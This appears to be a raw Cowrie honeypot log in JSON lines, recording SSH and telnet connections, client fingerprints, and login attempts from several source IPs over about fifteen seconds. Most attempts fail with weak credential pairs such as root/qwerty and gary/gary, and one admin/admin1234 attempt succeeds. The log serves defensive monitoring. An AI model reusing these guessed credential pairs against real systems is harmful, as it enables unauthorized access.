{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:25.866761Z","src_ip":"91.92.40.36","session":"9a46a021950f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:25.904345Z","src_ip":"45.153.34.195","session":"1ee24756012b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56418,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b48cca7480","protocol":"telnet","message":"New connection: 107.6.151.170:56418 (159.203.135.109:23) [session: 35b48cca7480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:26.061143Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40332,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0d861c10397","protocol":"ssh","message":"New connection: 45.153.34.195:40332 (10.17.0.5:22) [session: e0d861c10397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:27.521621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:27.554459Z","src_ip":"45.153.34.195","session":"e0d861c10397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:27.639730Z","src_ip":"45.153.34.195","session":"e0d861c10397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47180,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4e4838459f","protocol":"telnet","message":"New connection: 128.199.8.54:47180 (159.203.135.109:23) [session: ca4e4838459f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.160998Z"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.168414Z","src_ip":"45.153.34.195","session":"e0d861c10397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233","message":"login attempt [root/Aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.494754Z","src_ip":"91.92.40.36","session":"09286aed0b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":45900,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b7a44832998","protocol":"ssh","message":"New connection: 150.136.214.177:45900 (10.17.0.5:22) [session: 3b7a44832998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.587994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.592418Z","src_ip":"150.136.214.177","session":"3b7a44832998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.618498Z","src_ip":"150.136.214.177","session":"3b7a44832998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyuiop","message":"login attempt [ubuntu/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:28.760574Z","src_ip":"150.136.214.177","session":"3b7a44832998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:29.251072Z","src_ip":"45.153.34.195","session":"e0d861c10397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":59359,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed859443ea38","protocol":"ssh","message":"New connection: 173.208.188.210:59359 (10.17.0.5:22) [session: ed859443ea38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:29.660654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:29.665574Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:29.791087Z","src_ip":"150.136.214.177","session":"3b7a44832998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:29.953875Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:30.281428Z","src_ip":"91.92.40.36","session":"9a46a021950f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40354,"dst_ip":"10.17.0.5","dst_port":22,"session":"1499e51da1c8","protocol":"ssh","message":"New connection: 45.153.34.195:40354 (10.17.0.5:22) [session: 1499e51da1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:30.610624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:30.618879Z","src_ip":"45.153.34.195","session":"1499e51da1c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:30.709423Z","src_ip":"45.153.34.195","session":"1499e51da1c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:31.027360Z","src_ip":"45.153.34.195","session":"1499e51da1c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:31.497576Z","src_ip":"91.92.40.36","session":"09286aed0b9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:31.744028Z","src_ip":"173.208.188.210","session":"ed859443ea38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:32.110084Z","src_ip":"45.153.34.195","session":"1499e51da1c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:32.467735Z","src_ip":"91.92.40.36","session":"9a46a021950f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0dd85e0844c","protocol":"ssh","message":"New connection: 45.153.34.195:56096 (10.17.0.5:22) [session: e0dd85e0844c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:33.638906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:33.644437Z","src_ip":"45.153.34.195","session":"e0dd85e0844c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:33.755421Z","src_ip":"45.153.34.195","session":"e0dd85e0844c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:34.003472Z","src_ip":"45.153.34.195","session":"e0dd85e0844c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51836,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f73a42e372b","protocol":"telnet","message":"New connection: 128.199.8.54:51836 (159.203.135.109:23) [session: 5f73a42e372b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:34.322752Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28530,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f60b1174e9","protocol":"ssh","message":"New connection: 91.92.40.36:28530 (10.17.0.5:22) [session: 41f60b1174e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:34.911428Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:35.115782Z","src_ip":"45.153.34.195","session":"e0dd85e0844c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:35.848283Z","src_ip":"91.92.40.36","session":"41f60b1174e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:35.851854Z","src_ip":"91.92.40.36","session":"41f60b1174e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56098,"dst_ip":"10.17.0.5","dst_port":22,"session":"60bac3f2d109","protocol":"ssh","message":"New connection: 45.153.34.195:56098 (10.17.0.5:22) [session: 60bac3f2d109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:36.538082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:36.607389Z","src_ip":"45.153.34.195","session":"60bac3f2d109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:36.671750Z","src_ip":"45.153.34.195","session":"60bac3f2d109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:37.133524Z","src_ip":"45.153.34.195","session":"60bac3f2d109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:38.239584Z","src_ip":"45.153.34.195","session":"60bac3f2d109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43318,"dst_ip":"10.17.0.5","dst_port":22,"session":"5983d3a81e89","protocol":"ssh","message":"New connection: 91.92.40.36:43318 (10.17.0.5:22) [session: 5983d3a81e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:39.385675Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":56104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a79a4ecbf58","protocol":"ssh","message":"New connection: 45.153.34.195:56104 (10.17.0.5:22) [session: 4a79a4ecbf58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:39.424938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:38:39.516114Z","src_ip":"45.153.34.195","session":"4a79a4ecbf58","protocol":"ssh"}
